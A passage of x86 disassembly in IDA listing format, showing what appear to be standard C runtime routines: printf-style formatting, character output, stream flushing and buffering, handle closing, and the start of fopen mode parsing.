		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_418376
; ---------------------------------------------------------------------------


loc_41808F:				; CODE XREF: sub_417D6C+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41854B
		test	eax, eax
		pop	ecx
		jz	short loc_4180D0
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_4180D0
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_4180C1
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_418376
; ---------------------------------------------------------------------------


loc_4180C1:				; CODE XREF: sub_417D6C+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_418373
; ---------------------------------------------------------------------------


loc_4180D0:				; CODE XREF: sub_417D6C+32Fj
					; sub_417D6C+336j
		mov	eax, off_4383E8
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41816C
; ---------------------------------------------------------------------------


loc_4180DE:				; CODE XREF: sub_417D6C+29Dj
		jnz	short loc_4180EC
		cmp	bl, 67h
		jnz	short loc_4180EC
		mov	[ebp+var_10], 1


loc_4180EC:				; CODE XREF: sub_417D6C+2AAj
					; sub_417D6C:loc_4180DEj ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43A750
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41813E
		cmp	[ebp+var_10], 0
		jnz	short loc_41813E
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43A75C
		pop	ecx


loc_41813E:				; CODE XREF: sub_417D6C+3BCj
					; sub_417D6C+3C2j
		cmp	bl, 67h
		jnz	short loc_418155
		test	esi, esi
		jnz	short loc_418155
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43A754
		pop	ecx


loc_418155:				; CODE XREF: sub_417D6C+3D5j
					; sub_417D6C+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41816B
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41816B:				; CODE XREF: sub_417D6C+3F0j
		push	edi


loc_41816C:				; CODE XREF: sub_417D6C+36Dj
		call	sub_415B10
		pop	ecx
		jmp	loc_418373
; ---------------------------------------------------------------------------


loc_418177:				; CODE XREF: sub_417D6C+1E9j
		sub	eax, 69h
		jz	loc_418251
		sub	eax, 5
		jz	loc_418227
		dec	eax
		jz	loc_418214
		dec	eax
		jz	short loc_4181E4
		sub	eax, 3
		jz	loc_417F99
		dec	eax
		dec	eax
		jz	loc_418255
		sub	eax, 3
		jnz	loc_418376
		mov	[ebp+var_2C], 27h
		jmp	short loc_4181F2
; ---------------------------------------------------------------------------


loc_4181B6:				; CODE XREF: sub_417D6C+270j
					; sub_417D6C+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_418373
; ---------------------------------------------------------------------------


loc_4181BF:				; CODE XREF: sub_417D6C+24Fj
		test	ecx, ecx
		jnz	short loc_4181CC
		mov	ecx, off_4383E8
		mov	[ebp+var_8], ecx


loc_4181CC:				; CODE XREF: sub_417D6C+455j
		mov	eax, ecx


loc_4181CE:				; CODE XREF: sub_417D6C+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_4181DD
		cmp	byte ptr [eax],	0
		jz	short loc_4181DD
		inc	eax
		jmp	short loc_4181CE
; ---------------------------------------------------------------------------


loc_4181DD:				; CODE XREF: sub_417D6C+467j
					; sub_417D6C+46Cj
		sub	eax, ecx
		jmp	loc_418373
; ---------------------------------------------------------------------------


loc_4181E4:				; CODE XREF: sub_417D6C+425j
		mov	[ebp+var_10], 8


loc_4181EB:				; CODE XREF: sub_417D6C+201j
		mov	[ebp+var_2C], 7


loc_4181F2:				; CODE XREF: sub_417D6C+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41825C
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41825C
; ---------------------------------------------------------------------------


loc_418214:				; CODE XREF: sub_417D6C+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41825C
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41825C
; ---------------------------------------------------------------------------


loc_418227:				; CODE XREF: sub_417D6C+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41854B
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_418240
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_418245
; ---------------------------------------------------------------------------


loc_418240:				; CODE XREF: sub_417D6C+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_418245:				; CODE XREF: sub_417D6C+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_418474	; default
; ---------------------------------------------------------------------------


loc_418251:				; CODE XREF: sub_417D6C+2F7j
					; sub_417D6C+40Ej
		or	[ebp+var_4], 40h


loc_418255:				; CODE XREF: sub_417D6C+432j
		mov	[ebp+var_C], 0Ah


loc_41825C:				; CODE XREF: sub_417D6C+491j
					; sub_417D6C+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41826E
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_418558
		pop	ecx
		jmp	short loc_4182AF
; ---------------------------------------------------------------------------


loc_41826E:				; CODE XREF: sub_417D6C+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_418295
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41828A
		call	sub_41854B
		pop	ecx
		movsx	eax, ax


loc_418287:				; CODE XREF: sub_417D6C+527j
					; sub_417D6C+539j
		cdq
		jmp	short loc_4182AF
; ---------------------------------------------------------------------------


loc_41828A:				; CODE XREF: sub_417D6C+510j
		call	sub_41854B
		pop	ecx
		movzx	eax, ax
		jmp	short loc_418287
; ---------------------------------------------------------------------------


loc_418295:				; CODE XREF: sub_417D6C+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_4182A7
		call	sub_41854B
		pop	ecx
		jmp	short loc_418287
; ---------------------------------------------------------------------------


loc_4182A7:				; CODE XREF: sub_417D6C+531j
		call	sub_41854B
		pop	ecx
		xor	edx, edx


loc_4182AF:				; CODE XREF: sub_417D6C+500j
					; sub_417D6C+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_4182D0
		test	edx, edx
		jg	short loc_4182D0
		jl	short loc_4182BF
		test	eax, eax
		jnb	short loc_4182D0


loc_4182BF:				; CODE XREF: sub_417D6C+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_4182D4
; ---------------------------------------------------------------------------


loc_4182D0:				; CODE XREF: sub_417D6C+547j
					; sub_417D6C+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_4182D4:				; CODE XREF: sub_417D6C+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_4182DD
		and	edi, 0


loc_4182DD:				; CODE XREF: sub_417D6C+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_4182EC
		mov	[ebp+var_10], 1
		jmp	short loc_4182F0
; ---------------------------------------------------------------------------


loc_4182EC:				; CODE XREF: sub_417D6C+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_4182F0:				; CODE XREF: sub_417D6C+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_4182FA
		and	[ebp+var_1C], 0


loc_4182FA:				; CODE XREF: sub_417D6C+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_418300:				; CODE XREF: sub_417D6C+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_418310
		mov	eax, esi
		or	eax, edi
		jz	short loc_41834B


loc_418310:				; CODE XREF: sub_417D6C+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_417100
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_417180
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_418341
		add	ebx, [ebp+var_2C]


loc_418341:				; CODE XREF: sub_417D6C+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_418300
; ---------------------------------------------------------------------------


loc_41834B:				; CODE XREF: sub_417D6C+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_418376
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_418369
		test	eax, eax
		jnz	short loc_418376


loc_418369:				; CODE XREF: sub_417D6C+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_418373:				; CODE XREF: sub_417D6C+35Fj
					; sub_417D6C+406j ...
		mov	[ebp+var_C], eax


loc_418376:				; CODE XREF: sub_417D6C+21Bj
					; sub_417D6C+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_418474	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_4183AE
		test	bh, 1
		jz	short loc_418393
		mov	[ebp+var_16], 2Dh
		jmp	short loc_4183A7
; ---------------------------------------------------------------------------


loc_418393:				; CODE XREF: sub_417D6C+61Fj
		test	bl, 1
		jz	short loc_41839E
		mov	[ebp+var_16], 2Bh
		jmp	short loc_4183A7
; ---------------------------------------------------------------------------


loc_41839E:				; CODE XREF: sub_417D6C+62Aj
		test	bl, 2
		jz	short loc_4183AE
		mov	[ebp+var_16], 20h


loc_4183A7:				; CODE XREF: sub_417D6C+625j
					; sub_417D6C+630j
		mov	[ebp+var_1C], 1


loc_4183AE:				; CODE XREF: sub_417D6C+61Aj
					; sub_417D6C+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_4183CE
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4184E2
		add	esp, 10h


loc_4183CE:				; CODE XREF: sub_417D6C+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_418513
		add	esp, 10h
		test	bl, 8
		jz	short loc_418400
		test	bl, 4
		jnz	short loc_418400
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_4184E2
		add	esp, 10h


loc_418400:				; CODE XREF: sub_417D6C+67Bj
					; sub_417D6C+680j
		cmp	[ebp+var_24], 0
		jz	short loc_418447
		cmp	[ebp+var_C], 0
		jle	short loc_418447
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_418415:				; CODE XREF: sub_417D6C+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_41DA2B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41845C
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_418513
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_418415
		jmp	short loc_41845C
; ---------------------------------------------------------------------------


loc_418447:				; CODE XREF: sub_417D6C+698j
					; sub_417D6C+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_418513
		add	esp, 10h


loc_41845C:				; CODE XREF: sub_417D6C+6BCj
					; sub_417D6C+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_418474 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4184E2
		add	esp, 10h


loc_418474:				; CODE XREF: sub_417D6C+68j
					; sub_417D6C+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_417D98


loc_418485:				; CODE XREF: sub_417D6C+1Fj
					; sub_417D6C+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417D6C	endp

; ---------------------------------------------------------------------------
off_41848D	dd offset loc_417F0B	; DATA XREF: sub_417D6C+6Er
		dd offset loc_417DE1	; jump table for switch	statement
		dd offset loc_417DFC
		dd offset loc_417E48
		dd offset loc_417E7F
		dd offset loc_417E87
		dd offset loc_417EBC
		dd offset loc_417F4F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184AD	proc near		; CODE XREF: sub_417D6C+1BDp
					; sub_417D6C+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_4184C6
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_4184D1
; ---------------------------------------------------------------------------


loc_4184C6:				; CODE XREF: sub_4184AD+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_417C57
		pop	ecx
		pop	ecx


loc_4184D1:				; CODE XREF: sub_4184AD+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_4184DE
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4184DE:				; CODE XREF: sub_4184AD+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_4184AD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4184E2	proc near		; CODE XREF: sub_417D6C+65Ap
					; sub_417D6C+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_418510
		mov	esi, [esp+8+arg_C]


loc_4184F3:				; CODE XREF: sub_4184E2+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_4184AD
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_418510
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_4184F3


loc_418510:				; CODE XREF: sub_4184E2+Bj
					; sub_4184E2+25j
		pop	edi
		pop	esi
		retn
sub_4184E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_418513	proc near		; CODE XREF: sub_417D6C+670p
					; sub_417D6C+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_418547
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_418529:				; CODE XREF: sub_418513+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_4184AD
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_418547
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_418529


loc_418547:				; CODE XREF: sub_418513+Cj
					; sub_418513+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_418513	endp


; =============== S U B	R O U T	I N E =======================================



sub_41854B	proc near		; CODE XREF: sub_417D6C+E5p
					; sub_417D6C+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41854B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418558	proc near		; CODE XREF: sub_417D6C+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_418558	endp


; =============== S U B	R O U T	I N E =======================================



sub_418568	proc near		; CODE XREF: sub_417D6C+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_418568	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418576	proc near		; CODE XREF: sub_4157F4+17p
					; sub_4157F4+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_418594
		mov	ecx, off_4383F0
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_4185E6
; ---------------------------------------------------------------------------


loc_418594:				; CODE XREF: sub_418576+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_4383F0
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_4185B9
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_4185C2
; ---------------------------------------------------------------------------


loc_4185B9:				; CODE XREF: sub_418576+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_4185C2:				; CODE XREF: sub_418576+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_41DA93
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4185E2
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185E2:				; CODE XREF: sub_418576+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_4185E6:				; CODE XREF: sub_418576+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_418576	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185EB	proc near		; CODE XREF: sub_415960+2Ap
					; sub_41DDF6+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_46CF20
		jnb	loc_418685
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:46CE20h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_418685
		push	edi
		call	sub_41DD62
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_418664
		cmp	edi, 1
		jz	short loc_418632
		cmp	edi, 2
		jnz	short loc_418648


loc_418632:				; CODE XREF: sub_4185EB+40j
		push	2
		call	sub_41DD62
		push	1
		mov	ebp, eax
		call	sub_41DD62
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_418664


loc_418648:				; CODE XREF: sub_4185EB+45j
		push	edi
		call	sub_41DD62
		pop	ecx
		push	eax
		call	dword_42106C	; CloseHandle
		test	eax, eax
		jnz	short loc_418664
		call	dword_421088	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_418666
; ---------------------------------------------------------------------------


loc_418664:				; CODE XREF: sub_4185EB+3Bj
					; sub_4185EB+5Bj ...
		xor	ebp, ebp


loc_418666:				; CODE XREF: sub_4185EB+77j
		push	edi
		call	sub_41DCE8
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_418681
		push	ebp
		call	sub_41CE74
		pop	ecx
		jmp	short loc_418696
; ---------------------------------------------------------------------------


loc_418681:				; CODE XREF: sub_4185EB+8Bj
		xor	eax, eax
		jmp	short loc_418699
; ---------------------------------------------------------------------------


loc_418685:				; CODE XREF: sub_4185EB+Ej
					; sub_4185EB+2Fj
		and	dword_46BB08, 0
		mov	dword_46BB04, 9


loc_418696:				; CODE XREF: sub_4185EB+94j
		or	eax, 0FFFFFFFFh


loc_418699:				; CODE XREF: sub_4185EB+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4185EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41869E	proc near		; CODE XREF: sub_415960+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_4186C7
		test	al, 8
		jz	short loc_4186C7
		push	dword ptr [esi+8]
		call	sub_415C9B
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_4186C7:				; CODE XREF: sub_41869E+Aj
					; sub_41869E+Ej
		pop	esi
		retn
sub_41869E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C9	proc near		; CODE XREF: sub_418769+2Dp
					; sub_418769+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_4186DB
		push	esi
		call	sub_418769
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4186DB:				; CODE XREF: sub_4186C9+7j
		push	esi
		call	sub_418704
		test	eax, eax
		pop	ecx
		jz	short loc_4186EB
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4186EB:				; CODE XREF: sub_4186C9+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_418700
		push	dword ptr [esi+10h]
		call	sub_41DD9F
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_418700:				; CODE XREF: sub_4186C9+26j
		xor	eax, eax
		pop	esi
		retn
sub_4186C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_418704	proc near		; CODE XREF: sub_415960+1Ap
					; sub_416CDE+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_418751
		test	ax, 108h
		jz	short loc_418751
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_418751
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41CCC7
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41874A
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_418751
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_418751
; ---------------------------------------------------------------------------


loc_41874A:				; CODE XREF: sub_418704+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_418751:				; CODE XREF: sub_418704+14j
					; sub_418704+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_418704	endp


; =============== S U B	R O U T	I N E =======================================



sub_418760	proc near		; CODE XREF: sub_41DA17p
		push	1
		call	sub_418769
		pop	ecx
		retn
sub_418760	endp


; =============== S U B	R O U T	I N E =======================================



sub_418769	proc near		; CODE XREF: sub_4186C9+Ap
					; sub_418760+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_46CE00, esi
		jle	short loc_4187C7


loc_41877A:				; CODE XREF: sub_418769+5Cj
		mov	eax, dword_46BDF8
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4187BE
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_4187BE
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_4187A4
		push	eax
		call	sub_4186C9
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4187BE
		inc	ebx
		jmp	short loc_4187BE
; ---------------------------------------------------------------------------


loc_4187A4:				; CODE XREF: sub_418769+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_4187BE
		test	cl, 2
		jz	short loc_4187BE
		push	eax
		call	sub_4186C9
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4187BE
		or	edi, eax


loc_4187BE:				; CODE XREF: sub_418769+1Bj
					; sub_418769+23j ...
		inc	esi
		cmp	esi, dword_46CE00
		jl	short loc_41877A


loc_4187C7:				; CODE XREF: sub_418769+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_4187D2
		mov	eax, edi


loc_4187D2:				; CODE XREF: sub_418769+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_418769	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187D6	proc near		; CODE XREF: sub_4159B6+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41D94C
		test	eax, eax
		pop	ecx
		jz	short loc_41885F
		cmp	esi, offset dword_43AB28
		jnz	short loc_4187F4
		xor	eax, eax
		jmp	short loc_4187FF
; ---------------------------------------------------------------------------


loc_4187F4:				; CODE XREF: sub_4187D6+18j
		cmp	esi, offset dword_43AB48
		jnz	short loc_41885F
		push	1
		pop	eax


loc_4187FF:				; CODE XREF: sub_4187D6+1Cj
		inc	dword_46BCC8
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41885F
		cmp	dword_46BB5C[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:46BB5Ch[eax*4]
		mov	ebx, 1000h
		jnz	short loc_418845
		push	ebx
		call	sub_415BE9
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_418845
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_418852
; ---------------------------------------------------------------------------


loc_418845:				; CODE XREF: sub_4187D6+4Dj
					; sub_4187D6+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_418852:				; CODE XREF: sub_4187D6+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41885F:				; CODE XREF: sub_4187D6+10j
					; sub_4187D6+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_4187D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_418863	proc near		; CODE XREF: sub_4159B6+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_41888D
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41889E
		push	esi
		call	sub_418704
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41888D:				; CODE XREF: sub_418863+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_41889E
		push	eax
		call	sub_418704
		pop	ecx


loc_41889E:				; CODE XREF: sub_418863+10j
					; sub_418863+32j
		pop	esi
		retn
sub_418863	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4188A0	proc near		; CODE XREF: sub_4159E8+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_46BCD0
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_4188D9
		cmp	al, 72h
		jz	short loc_4188D2
		cmp	al, 77h
		jnz	loc_4189ED
		mov	ecx, 301h
		jmp	short loc_4188DE
; ---------------------------------------------------------------------------


loc_4188D2:				; CODE XREF: sub_4188A0+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_4188E1
; ---------------------------------------------------------------------------


